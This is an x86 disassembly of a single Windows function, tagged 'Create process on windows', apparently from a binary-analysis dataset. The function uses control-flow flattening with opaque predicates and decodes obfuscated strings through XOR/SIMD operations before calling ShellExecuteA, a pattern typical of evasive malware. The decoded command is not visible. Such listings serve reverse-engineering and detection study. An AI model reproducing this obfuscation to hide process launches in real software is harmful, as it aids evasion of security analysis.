Function at 0x4582f0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x50
mov esi, esp
mov eax, dword [0x606180]
xor eax, ebp
mov dword [esi + 0x48], eax
mov eax, dword [0x607334]
mov ecx, dword [0x607338]
lea edx, [eax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [esi + 0xb]
cmp ecx, 0xa
setl byte [esi + 0x10]
mov ebx, 0xea109d3b
mov ecx, 0xa1565247
mov edi, 0x74b40af9
nop dword [eax + eax]
cmp ebx, 0xea109d3a
jg 0x458360
cmp ebx, 0x85a5bb2f
je 0x458391
cmp ebx, 0xa1565247
jne 0x458340
jmp 0x45841a
cmp ebx, 0x74b40af9
je 0x4583b8
cmp ebx, 0xea109d3b
jne 0x458340
movzx eax, byte [esi + 0xb]
mov ah, byte [esi + 0x10]
mov ebx, eax
xor bl, ah
mov edx, 0x85a5bb2f
cmovne edx, edi
test ah, ah
mov ebx, edx
cmovne ebx, edi
test al, al
cmove ebx, edx
jmp 0x458340
mov eax, 0xe947081f
mov edx, 0x2151ca53
mov dword [esi + 0x24], edx
mov dword [esi + 0x20], eax
mov eax, 0x8e31d246
mov edx, 0x7177f112
mov dword [esi + 0x2c], edx
mov dword [esi + 0x28], eax
mov ebx, 0x74b40af9
jmp 0x458340
lea eax, [esi + 0x20]
mov dword [esi + 0x30], eax
mov eax, dword [esi + 0x30]
mov edx, 0xe947081f
mov ebx, 0x2151ca53
mov dword [eax + 4], ebx
mov dword [eax], edx
mov edx, 0x8e31d246
mov ebx, 0x7177f112
mov dword [eax + 0xc], ebx
mov dword [eax + 8], edx
mov eax, dword [0x607334]
lea edx, [eax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
mov ebx, 0x85a5bb2f
cmove ebx, ecx
cmp dword [0x607338], 0xa
mov edx, 0x85a5bb2f
cmovge ebx, edx
setl dl
xor dl, al
cmovne ebx, ecx
jmp 0x458340
mov eax, dword [0x607774]
mov edx, dword [0x607778]
lea edi, [eax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp edx, 0xa
setl cl
xor cl, al
mov ecx, 0xfb9e977d
mov ebx, 0x9a56e8bb
cmovne ebx, ecx
cmp edi, 0xffffffff
mov eax, dword [esi + 0x30]
sete byte [esi + 0xb]
cmovne ecx, ebx
cmp edx, 0xa
setl byte [esi + 0x10]
mov dword [esi + 0xc], esp
cmovge ecx, ebx
vmovaps xmm0, xmmword [esi + 0x20]
mov ebx, 0x9cd4cf55
vmovddup xmm1, qword [0x5f0dc8]
mov edx, 0xabf0fbaa
nop dword [eax]
cmp ebx, 0xabf0fba9
jle 0x4584a0
cmp ebx, 0xabf0fbaa
je 0x4584d5
cmp ebx, 0xfb9e977d
jne 0x458480
jmp 0x458578
cmp ebx, 0x9a56e8bb
je 0x45852d
cmp ebx, 0x9cd4cf55
jne 0x458480
movzx eax, byte [esi + 0xb]
mov ah, byte [esi + 0x10]
mov ebx, eax
xor bl, ah
mov edi, 0x9a56e8bb
cmovne edi, edx
test ah, ah
mov ebx, edi
cmovne ebx, edx
test al, al
cmove ebx, edi
jmp 0x458480
push eax
sub esp, 0xc
mov ebx, esp
and ebx, 0xfffffff0
mov esp, ebx
mov eax, 0x8c206d6d
mov edi, 0x2125a337
mov dword [ebx + 4], edi
mov dword [ebx], eax
mov eax, 0x8e31d246
mov edi, 0x7177f112
mov dword [ebx + 0xc], edi
mov dword [ebx + 8], eax
xor eax, eax
vmovaps xmm2, xmmword [ebx]
vandnps xmm3, xmm0, xmm1
vandnps xmm4, xmm2, xmm1
vandnps xmm0, xmm1, xmm0
vorps xmm0, xmm3, xmm0
vandnps xmm2, xmm1, xmm2
vorps xmm2, xmm4, xmm2
vxorps xmm0, xmm0, xmm2
vmovaps xmmword [esi + 0x20], xmm0
mov ebx, ecx
jmp 0x458480
push eax
sub esp, 0xc
mov ebx, esp
and ebx, 0xfffffff0
mov esp, ebx
mov eax, 0x8c206d6d
mov edi, 0x2125a337
mov dword [ebx + 4], edi
mov dword [ebx], eax
mov eax, 0x8e31d246
mov edi, 0x7177f112
mov dword [ebx + 0xc], edi
mov dword [ebx + 8], eax
xor eax, eax
vmovaps xmm2, xmmword [ebx]
vandnps xmm3, xmm0, xmm2
vandnps xmm0, xmm2, xmm0
vorps xmm0, xmm3, xmm0
vmovaps xmmword [esi + 0x20], xmm0
mov ebx, 0xabf0fbaa
jmp 0x458480
lea eax, [esi + 0x20]
mov dword [esi + 0x30], eax
mov eax, dword [esi + 0x30]
mov esp, dword [esi + 0xc]
mov ecx, 0xed4e181f
mov edx, 0x2125a344
mov dword [esi + 0x14], edx
mov dword [esi + 0x10], ecx
mov ecx, 0x8e31d246
mov edx, 0x7177f112
mov dword [esi + 0x1c], edx
mov dword [esi + 0x18], ecx
mov edi, 0x8c206d6d
mov ebx, 0x2125a337
mov dword [esi + 0x34], ebx
mov dword [esi + 0x30], edi
mov dword [esi + 0x3c], edx
mov dword [esi + 0x38], ecx
lea ecx, [esi + 0x30]
xor edx, edx
vmovaps xmm0, xmmword [ecx]
vmovaps xmm1, xmmword [esi + 0x10]
vmovddup xmm2, qword [0x5f0dc0]
vandnps xmm3, xmm1, xmm2
vandnps xmm4, xmm0, xmm2
vandnps xmm1, xmm2, xmm1
vorps xmm1, xmm3, xmm1
vandnps xmm0, xmm2, xmm0
vorps xmm0, xmm4, xmm0
vxorps xmm0, xmm1, xmm0
vmovaps xmmword [esi + 0x10], xmm0
lea ecx, [esi + 0x10]
push 0
push 0
push 0
push eax
push ecx
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [esi + 0x48]
xor ecx, ebp
call fcn.005ce735
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret